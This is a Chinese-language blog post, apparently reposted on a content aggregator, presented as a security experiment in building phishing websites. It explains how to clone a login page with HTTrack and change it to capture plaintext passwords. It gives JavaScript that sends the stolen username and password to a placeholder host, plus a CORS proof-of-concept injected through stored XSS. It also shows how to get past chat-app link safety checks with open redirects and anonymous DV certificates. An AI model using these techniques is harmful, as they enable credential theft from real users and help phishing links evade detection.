网络安全实验之钓鱼网站的制作及技巧

在红队攻击中,除漏洞以外最简洁高效的攻击方式无疑是钓鱼攻击,通过不同的钓鱼方式可达到不同的攻击效果,本次我会分享最常见的钓鱼手段之一的网站钓鱼技术,同时对可实现的攻击操作进行演示。

更多网站钓鱼实验科普,可前往无问社区查看icon-default.png?t=O83Ahttp://www.wwlib.cn

本次我们会分为以下2个实验环节进行讲解,让各位了解钓鱼网站的克隆及克隆网页常见问题解决方式,以及钓鱼网站能通过哪些安全漏洞进行攻击和如何通过安全工具的URL审查:

  1. 钓鱼网站的制作及利用场景
  2. 通过安全检查的方式

一 钓鱼网站的制作及投递

作为网站钓鱼的先前步骤,制作钓鱼网站必然是最基本的一步,推荐使用的工具为HttTrack,他是一款免费的网站克隆工具,特点在于速度快且克隆的效果与原始网站相似度高。

以下是工具克隆效果,第一张图是克隆页面第二张图是原始网站,能看出相似度很高。

之后便是如何通过此页面获取用户的账号密码,关键点在于能够将请求包发送至我们指定的密码接收端,同时还需要保证数据包格式能被我们自定义,这里我们可以根据页面结构的特点从以下两种方式进行选择或者组合使用。

  1. 直接修改form表单的action指向链接。
  2. 创建js事件捕获用户输入内容,并将用户名密码发送至接收端。

以我们所创建的这个页面为例来进行演示。

在原始文件中,并没有看到action属性,但是在底部能看到请求包发送的js代码,程序会将用户名密码信息发送至/User/executeLogin路径下。

修改请求地址,抓包分析请求内容。

密码做了加密,说明当前的登录按钮绑定了事件,点击时加密密码并发送。

Js绑定事件依赖两种方式,标签属性绑定以及标签名称绑定,通常情况下都是采用的标签属性绑定,通过测试发现,删除lay-submit属性后密码将变为明文。

最后这个页面修改位置如下图所示:

我们也可以通过绑定新的js代码,将用户名密码发送至我们的接收端,示例代码如下:

 1. document.getElementById('hacker').addEventListener('click', function() {
 2.   var passwd = document.getElementsByName('passwd')[0].value;
 3.   var user = document.getElementsByName('user')[0].value;
 4.   
 5.   var xhr = new XMLHttpRequest();
 6.   xhr.open('POST', 'xxx.com/1.jsp', true);
 7.   xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
 8.   xhr.send('passwd=' + passwd + '&user=' + user);
 9. });  

钓鱼网站最常用到的漏洞是XSS、跨域(CORS)、任意URL重定向这三类漏洞。

反射型XSS漏洞可以通过直接向目标发送带有重定向xss代码的漏洞链接,使其跳转到我们伪造的钓鱼网站上,也可以外部引入js代码来重写页面属性使其正常请求发送至我们的账户数据接收端。

存储型XSS漏洞除了可以使用反射型XSS漏洞所支持的攻击手段外,还可以进行CORS攻击,如我们的目标网站存在跨域漏洞,则可以将跨域漏洞利用代码写入网页当中,持续获取用户敏感信息。

CORS漏洞需要搭配其他漏洞使用。

任意URL重定向可以让目标访问到我们构造的恶意网站中

需要注意的是上述除CORS漏洞以外并非只能是目标站点存在,也可以是任何第三方网站,下面主要演示一下CORS漏洞的利用效果,POC利用代码可以结合XSS漏洞插入到目标网站的任意位置,实现同域下的账号敏感信息获取。

利用前需要注意验证CORS漏洞是否存在

Poc利用代码,自行修改:

 1. <script type="text/javascript">
 2.         var xhr = new XMLHttpRequest();
 3.         xhr.open('GET', 'http://xxx.com/test.php', true);
 4.         xhr.withCredentials = true; 
 5.         xhr.onreadystatechange = function() {
 6.           if (xhr.readyState === 4 && xhr.status === 200) {
 7.             var response = xhr.responseText;
 8.             alert(response);
 9.           }
10.         };
11.         xhr.send();
12.  
13.     </script>
14.  

可将其通过存储型XSS写入到任意页面当中去,下图是我本地测试页面,实际攻击中可以使用<scrtip src=’xxx.com/xx.jsp’></script>进行引用。

当用户访问到我们构建的钓鱼页面后,即可获取用户账户信息。

二 通过安全检查的方式

通过安全检查有两种方案可以尝试,第一种是通过重定向,最为方便且效果较好,第二种则是申请https证书。

我们在QQ或者钉钉以及其他的社交平台中发送链接时,通信软件会对目标链接安全性进行检测,对于个人注册的网站且未设置https证书,其会给出,“安全性未知”或者问号标记,如网站有违规行为则还可能会给出危险提示。此时如果将网站追加到合法网站的重定向参数中即可绕过检测,为我们的钓鱼链接给出“安全网站”的提示。

而第二种申请SSL证书,我们可以通过申请DV SSL证书来实现对钓鱼网站的https处理,目前支持DV SSL证书的平台较多,其优势在于验证流程简单,无需验证所有者身份,所欲对于攻击者的个人保护较好。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/953327.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

用户注册模块用户校验(头条项目-05)

1 用户注册后端逻辑 1.1 接收参数 username request.POST.get(username) password request.POST.get(password) phone request.POST.get(phone) 1.2 校验参数 前端校验过的后端也要校验&#xff0c;后端的校验和前端的校验是⼀致的 # 判断参数是否⻬全 # 判断⽤户名是否…

linux-28 文本管理(一)文本查看,cat,tac,more,less,head,tail

之前提到过linux的几个重要哲学思想&#xff0c;使用纯文本文件保存软件的配置信息是其中之一&#xff0c;所以大多数情况下&#xff0c;我们对整个系统的操作&#xff0c;都是通过编辑它的配置文件来完成&#xff0c;那也就意味着&#xff0c;处理文本文件是我们作为系统管理员…

JVM面试相关

JVM组成 什么是程序计数器 详细介绍Java堆 什么是虚拟机栈 能不能解释一下方法区&#xff1f; 直接内存相关 类加载器 什么是类加载器&#xff0c;类加载器有哪些 什么是双亲委派模型 类加载过程 垃圾回收 对象什么时候可以被垃圾回收器回收 JVM垃圾回收算法有那些 JVM的分代…

【Unity3D】利用IJob、Burst优化处理切割物体

参考文章&#xff1a; 【Unity】切割网格 【Unity3D】ECS入门学习&#xff08;一&#xff09;导入及基础学习_unity ecs教程-CSDN博客 【Unity3D】ECS入门学习&#xff08;十二&#xff09;IJob、IJobFor、IJobParallelFor_unity ijobparallelfor-CSDN博客 工程资源地址&…

Armv8/Armv9架构从入门到精通-介绍

CSDN学院课程连接&#xff1a;https://edu.csdn.net/course/detail/39573 1 讲师介绍 拥有 12 年手机安全、汽车安全、芯片安全开发经验&#xff0c;擅长 Trustzone/TEE/ 安全的设计与开发&#xff0c;对 ARM 架构的安全领域有着深入的研究和丰富的实践经验&#xff0c;能够…

Cesium小知识:pointPrimitive collection 详解

Cesium.PointPrimitiveCollection 是 Cesium 中用于高效管理和渲染大量点(points)的一个类。它允许你创建和管理大量的 PointPrimitive 实例,这些实例可以用来表示地理空间中的点数据,如传感器位置、车辆位置、兴趣点等。与直接使用 Cesium.Entity 相比,PointPrimitiveCol…

Threejs实现 区块链网络效应

大家好&#xff01;我是 [数擎 AI]&#xff0c;一位热爱探索新技术的前端开发者&#xff0c;在这里分享前端和 Web3D、AI 技术的干货与实战经验。如果你对技术有热情&#xff0c;欢迎关注我的文章&#xff0c;我们一起成长、进步&#xff01; 开发领域&#xff1a;前端开发 | A…

GitCode G-Star 光引计划终审前十名获奖项目公示

在技术的浩瀚星空中&#xff0c;GitCode 平台上的 G-Star 项目熠熠生辉。如今&#xff0c;“光引计划” 已圆满落幕&#xff0c;众多 G-Star 项目作者&#xff0c;一同分享项目在 GitCode 平台托管的宝贵体验&#xff0c;并深入挖掘平台的多样玩法。 众多投稿纷至沓来&#xf…

VRRP技术

堆叠 堆叠指将支持堆叠特性的交换机通过堆叠线缆连接到一起&#xff0c;解决交换机问题 &#xff08;物理多台交换机变成逻辑上的一台交换机 去进行一个数据转发&#xff09;聚合解决链路问题在不同的厂商中堆叠的技术: 思科&#xff1a;stackwise 思科智能堆叠VSS Virt…

primitive 的 Appearance编写着色器材质

import { nextTick, onMounted, ref } from vue import * as Cesium from cesium import gsap from gsaponMounted(() > { ... })// 1、创建矩形几何体&#xff0c;Cesium.RectangleGeometry&#xff1a;几何体&#xff0c;Rectangle&#xff1a;矩形 let rectGeometry new…

31_搭建Redis分片集群

Redis的主从复制模式和哨兵模式可以解决高可用、高并发读的问题。但是依然有两个问题没有解决:海量数据存储问题、高并发写的问题。由于数据量过大,单个master复制集难以承担,因此需要对多个复制集进行集群,形成水平扩展每个复制集只负责存储整个数据集的一部分,这就是Red…

快速上手 INFINI Console 的 TopN 指标功能

背景 在分布式搜索引擎系统&#xff08;如 Easysearch、Elasticsearch 和 OpenSearch&#xff09;中&#xff0c;性能监控至关重要。为了确保系统的高效运行和资源的合理分配&#xff0c;我们通常需要关注一段时间内关键资源的使用情况&#xff0c;特别是索引、节点和分片的内…

风水算命系统架构与功能分析

系统架构 服务端&#xff1a;Java&#xff08;最低JDK1.8&#xff0c;支持JDK11以及JDK17&#xff09;数据库&#xff1a;MySQL数据库&#xff08;标配5.7版本&#xff0c;支持MySQL8&#xff09;ORM框架&#xff1a;Mybatis&#xff08;集成通用tk-mapper&#xff0c;支持myb…

探索AGI:智能助手与自我赋能的新时代

目录 1 AGI1.1 DeepMind Levels&#xff08;2023年11月)1.2 OpenAI Levels&#xff08;2024年7月&#xff09;1.3 对比与总结1.4 AGI可能诞生哪里 2 基于AI的智能自动化助手2.1 通用型大模型2.2 专业的Agent和模型工具开发框架2.3 编程与代码生成助手2.4 视频和多模态生成2.5 商…

工具推荐:PDFgear——免费且强大的PDF编辑工具 v2.1.12

PDFgear——免费且强大的PDF编辑工具 v2.1.12 软件简介 PDFgear 是一款 完全免费的 PDF 软件&#xff0c;支持 阅读、编辑、转换、合并 以及 跨设备签署 PDF 文件&#xff0c;无需注册即可使用。它提供了丰富的 PDF 处理功能&#xff0c;极大提升了 PDF 文件管理的便捷性和效…

【机器学习】L1正则化与L2正则化

L1&#xff0c;L2正则化解决过拟合问题 目录 过拟合的原因 正则化的目标 L1&#xff0c;L2正则化 L1正则化 L2正则化 从概率的角度来看 L1 正则化与拉普拉斯分布 L2 正则化与高斯分布 过拟合的原因 过拟合发生时&#xff0c;模型学习到了训练数据中的噪声或细节&am…

【PyQt】如何在mainwindow中添加菜单栏

[toc]如何在mainwindow中添加菜单栏 如何在mainwindow中添加菜单栏 主要有两种方法&#xff1a; 1.直接创建mainwindow进行添加 2.使用ui文件加载添加 第二种方法更为常见&#xff0c;可以应用到实际 1.直接创建mainwindow进行添加 import sysfrom PyQt5.QtWidgets import …

1.组件的三大组成部分注意点(结构/样式/逻辑)scoped解决样式冲突/data是一个函数2.组件通信组件通信语法父传子子传父

学习目标 1.组件的三大组成部分注意点&#xff08;结构/样式/逻辑&#xff09; scoped解决样式冲突/data是一个函数 2.组件通信 组件通信语法 父传子 子传父 非父子通信&#xff08;扩展&#xff09; 3.综合案例&#xff1a;小黑记事本&#xff08;组件版&#xff09; …

Sqoop1.4.7安装

环境说明 准备三台服务器&#xff0c;分别为&#xff1a;bigdata141&#xff08;hadoop 主节点&#xff09;、bigdata142、bigdata143确保 hadoop 集群先启动好&#xff0c;hadoop 版本为 3.2.0如果只安装不使用的话&#xff0c;以上可以暂时不用管另准备一台服务器&#xff0…

Oracle重启后业务连接大量library cache lock

一、现象 数据库和前段应用重启后&#xff0c;出现大量library cache lock等待事件。 二、分析解决 本次异常原因是&#xff1a;原因定位3&#xff1a; 库缓存对象无效 Library cache object Invalidations 三、各类情况具体分析如下 原因定位1&#xff1a;由于文字导致的非…